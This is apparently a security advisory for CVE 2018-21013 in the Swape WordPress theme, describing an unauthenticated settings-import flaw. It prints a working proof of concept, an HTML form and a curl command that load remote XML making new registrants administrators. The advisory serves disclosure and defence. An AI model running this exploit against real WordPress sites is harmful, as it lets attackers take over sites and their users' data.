Swape Theme – Authentication Bypass and Stored XSS | CVE 2018-21013

Description

Similar to https://wpvulndb.com/vulnerabilities/8061, but with no authentication

The theme suffers from a privilege escalation vulnerability, any user can trigger this vulnerability due to weak permissions checking.

An attacker can update options, such as changing user's default role, registration state and others, which may lead to executing commands/code on the server and taking over the website.

Proof of Concept

<form action="http://my-example-site.test/wp-admin/admin-ajax.php" method="post" >
    <input name="action" value="call_upper_load_settings" type="text" />
    <input name="xmlPath" value="https://pastebin.com/raw/VCadYnh7" type="text" />
    <input type="submit" >
</form>

or

curl --request POST \
    --url https://upperinc.com/previews/wp/swape/demo1/wp-admin/admin-ajax.php \
    --header 'content-type: multipart/form-data;' \
    --form action=call_upper_load_settings \
    --form xmlPath=https://pastebin.com/raw/VCadYnh7


and the pastebin content is:

<?xml version="1.0"?>
<root>
  <option>
    <id>default_role</id>
    <value>administrator</value>
  </option>
  <option>
    <id>users_can_register</id>
    <value>1</value>
  </option>
</root>